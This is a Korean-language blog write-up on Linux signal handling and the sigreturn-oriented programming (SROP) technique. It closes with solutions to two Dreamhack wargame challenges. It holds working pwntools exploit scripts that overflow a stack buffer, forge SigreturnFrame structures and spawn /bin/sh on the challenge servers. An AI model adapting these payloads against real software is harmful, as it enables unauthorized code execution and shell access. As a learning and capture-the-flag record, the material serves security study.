Signal
시그널
프로세스에 특정 정보를 전달하는 매개체
: signal 발생 >> 해당 코드가 커널 모드에서 실행 >> 유저 모드 복귀
(운영체제 :: 커널 / 유저 모드가 상호작용하며 프로세스 생성 및 실행)
* +--------------------+------------------+
* | POSIX signal | default action |
* +--------------------+------------------+
* | SIGHUP | terminate |
* | SIGINT | terminate |
* | SIGQUIT | coredump |
* | SIGILL | coredump |
* | SIGTRAP | coredump |
* | SIGABRT/SIGIOT | coredump |
* | SIGBUS | coredump |
* | SIGFPE | coredump |
* | SIGKILL | terminate(+) |
* | SIGUSR1 | terminate |
* | SIGSEGV | coredump |
* | SIGUSR2 | terminate |
* | SIGPIPE | terminate |
* | SIGALRM | terminate |
* | SIGTERM | terminate |
* | SIGCHLD | ignore |
* | SIGCONT | ignore(*) |
* | SIGSTOP | stop(*)(+) |
* | SIGTSTP | stop(*) |
* | SIGTTIN | stop(*) |
* | SIGTTOU | stop(*) |
* | SIGURG | ignore |
* | SIGXCPU | coredump |
* | SIGXFSZ | coredump |
* | SIGVTALRM | terminate |
* | SIGPROF | terminate |
* | SIGPOLL/SIGIO | terminate |
* | SIGSYS/SIGUNUSED | coredump |
* | SIGSTKFLT | terminate |
* | SIGWINCH | ignore |
* | SIGPWR | terminate |
* | SIGRTMIN-SIGRTMAX | terminate |
* +--------------------+------------------+
* | non-POSIX signal | default action |
* +--------------------+------------------+
* | SIGEMT | coredump |
* +--------------------+------------------+
시그널 동작 방식
signal함수에 의해 SIGALRM 발생 >> 커널모드 진입 및 시그널 처리 >> 유저모드로 복귀 후, 프로세스 실행
여기서, 유저모드로 복귀한다는 의미는 유저 프로세스의 상태(메모리, 레지스터 등)을 저장하고 있어야한다는 의미!
do_signal
시그널을 처리하기 위해 제일 먼저 호출되는 함수
- linux kernel <= 5.8 : do_signal
- linux kernel <= 5.10 : arch_do_signal
- 상위 버전 linux kernel : arch_do_signal_or_restart
(arch_do_signal_or_start의 작동 방식 )
시그널 발생 >> get_signal 호출 (인자 : signal정보) >> 시그널에 해당하는 핸들러 존재 시, handle_signal (인자 : sig정보, 레지스터 정보)
handle_signal
핸들러 주소를 다음 실행 주소로 삽입 (setup_rt_frame)
Sigreturn
커널 모드 -> 유저 모드로 변경 시에 사용되는 시스템 콜
: sigreturn의 내부에서 호출되는 restore_sigcontext 함수에 의하여 스택에 저장된 값을 각각의 레지스터에 복사하여 저장 및 기억 (sigcontext 구조체에 존재하는 멤버변수에 삽입)
sigcontext
/* __x86_64__: */
struct sigcontext {
__u64 r8;
__u64 r9;
__u64 r10;
__u64 r11;
__u64 r12;
__u64 r13;
__u64 r14;
__u64 r15;
__u64 rdi;
__u64 rsi;
__u64 rbp;
__u64 rbx;
__u64 rdx;
__u64 rax;
__u64 rcx;
__u64 rsp;
__u64 rip;
__u64 eflags; /* RFLAGS */
__u16 cs;
__u16 gs;
__u16 fs;
union {
__u16 ss; /* If UC_SIGCONTEXT_SS */
__u16 __pad0; /* Alias name for old (!UC_SIGCONTEXT_SS) user-space */
};
__u64 err;
__u64 trapno;
__u64 oldmask;
__u64 cr2;
struct _fpstate __user *fpstate; /* Zero when no FPU context */
# ifdef __ILP32__
__u32 __fpstate_pad;
# endif
__u64 reserved1[8];
};
ㄴ x86_64 아키텍쳐에 해당하는 구조체
SROP
srop (sigreturn-oriented programming)
: context switching (프로세스 전환) 을 위해 사용하는 sigreturn syscall을 이용한 ROP 기법
(ROP :: 코드조각을 모아 임의의 코드를 실행하는 공격 기법 << signal을 처리하는 과정에서 유저모드를 저장하기 위해 레지스터에 값을 쓰는 과정을 조작하여 exploit )
Exploit Tech : SigReturn-Oriented Programming
- amd64-64 (64bit)
- Partial RELRO , NX 적용
- PIE, canary 미적용
- 소스코드 분석
#include <unistd.h>
int gadget() {
asm("pop %rax;"
"syscall;" // 시스템 콜!
"ret" );
}
int main()
{
char buf[16];
read(0, buf ,1024);
}
- 시나리오
1. sigreturn 호출
gadget함수 addr를 구하여 syscall 번호를 조작하여 syscall 명령어 실행 >> sigreturn 호출 (syscall num : 15)
2. execve 호출
sigreturn은 스택 영역의 값을 레지스터로 복사하므로,
1024 바이트값의 입력 시, sigcontext 구조체에 따라 execve 시스템 콜을 호출하기 위한 인자를 조작 설정
( execve :: 현재 실행 중인 프로세스를 다른 프로세스로 대체 )
- Exploit
1. sigreturn 호출
bof를 이용하여 RIP 를 가젯의 주소로 조작 / rax를 15로 조작 >>
from pwn import *
context.arch = 'x86_64'
p = remote('host3.dreamhack.games',16195)
elf = ELF('./srop')
# 해당 명령어 검색 => 발견된 주소를 gadget에 저장
gadget = next(elf.search(asm('pop rax; syscall')))
print('gadget..', hex(gadget))
# bof
payload = b'A'*16 #buf
payload += b'B'*8 #rbp
payload += p64(gadget)
payload += p64(15) # sigreturn
payload += b'\x00'*40 # dummy
payload += p64(0x4141414141414141)*20 # stack 채우기
print('press enter to continue')
pause() # 스크립트 일시 정지 >> 타 셸에서 현재에 attach하여 디버깅 가능
p.sendline(payload)
p.interactive()
2. execve 호출
sigcontext 구조체에 정의된 레지스터의 순서를 고려하여 스택에 값 삽입
>> pwntools에서 제공하는 SigreturnFrame 클래스를 이용하여 exploit 작성
(사용예)
SROP
:: read 시스템 콜 호출 >> bss 영역에 0x1000 바이트 입력
>> 다시 리턴 주소를 조작하여 execve("/bin/sh",0,0) 실행
- Exploit code
from pwn import *
context.arch = 'x86_64'
p = remote('host3.dreamhack.games',16195)
elf = ELF('./srop')
gadget = next(elf.search(asm('pop rax; syscall')))
syscall = next(elf.search(asm('syscall')))
read_got = elf.got['read']
binsh = '/bin/sh\x00'
bss = elf.bss()
frame = SigreturnFrame() #구조체 이용
# read(0, bss, 0x1000) <-시그널 핸들러 frame 설정
frame.rax = 0 # SYS_read
frame.rsi = bss
frame.rdx = 0x1000
frame.rdi = 0
frame.rip = syscall
frame.rsp = bss
payload = b'A'*16
payload += b'B'*8
payload += p64(gadget) # gadget주소
payload += p64(15) # sigreturn : syscall 번호 15
payload += bytes(frame)
p.sendline(payload)
# execve('/bin/sh', 0, 0) : 시스템 콜 호출
frame2 = SigreturnFrame() #두번째 핸들러 frame 생성
frame2.rip = syscall
frame2.rax = 0x3b # execve
frame2.rsp = bss + 0x500 #bss초반 이후의 아무개 부분
frame2.rdi = bss + 0x108
rop = p64(gadget)
rop += p64(15)
rop += bytes(frame2)
rop += b'/bin/sh\x00'
p.sendline(rop)
p.interactive()
send_sig
- amd64-64
- Partial RELRO, NX 적용
- canary, pie 미적용
- 주요 코드 분석 (IDA)
void FUN_004010b6(void)
{
undefined local_10 [8];
write(1,"Signal:",7);
//bof
read(0,local_10,0x400);
return;
}
void entry(void)
{
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,1,0);
write(1,"++++++++++++++++++Welcome to dreamhack++++++++++++++++++\n",0x39);
write(1,"+ You can send a signal to dreamhack server. +\n",0x39);
write(1,"++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n",0x39);
FUN_004010b6();
/* WARNING: Subroutine does not return */
exit(0);
}
- 시나리오
1. sigreturn 호출
2. execve 호출
- Exploit code
from pwn import *
p = remote('host3.dreamhack.games', 21976)
context(arch='amd64')
pop_rax_ret = 0x00000000004010ae
syscall_addr = 0x00000000004010b0
binsh_addr = 0x402000 # /bin/sh 문자열 리턴 주소
# signal handler
frame = SigreturnFrame()
frame.rax = 0x3b # execve sys_num
frame.rdi = binsh_addr
frame.rsi = 0x0
frame.rdx = 0x0
frame.rip = syscall_addr
payload = b'A' * 0x10
payload += p64(pop_rax_ret)
payload += p64(15)
payload += p64(syscall_addr)
payload += bytes(frame)
p.sendlineafter('Signal:', payload)
p.interactive()
'System Hacking' 카테고리의 다른 글
write-up (0) | 2024.03.30 |
---|---|
_IO_FILE (0) | 2024.03.30 |
linux library exploit :: __environ (1) | 2024.03.29 |
linux library exploit :: _rtld_global (0) | 2024.03.28 |
Master Canary (2) | 2024.03.24 |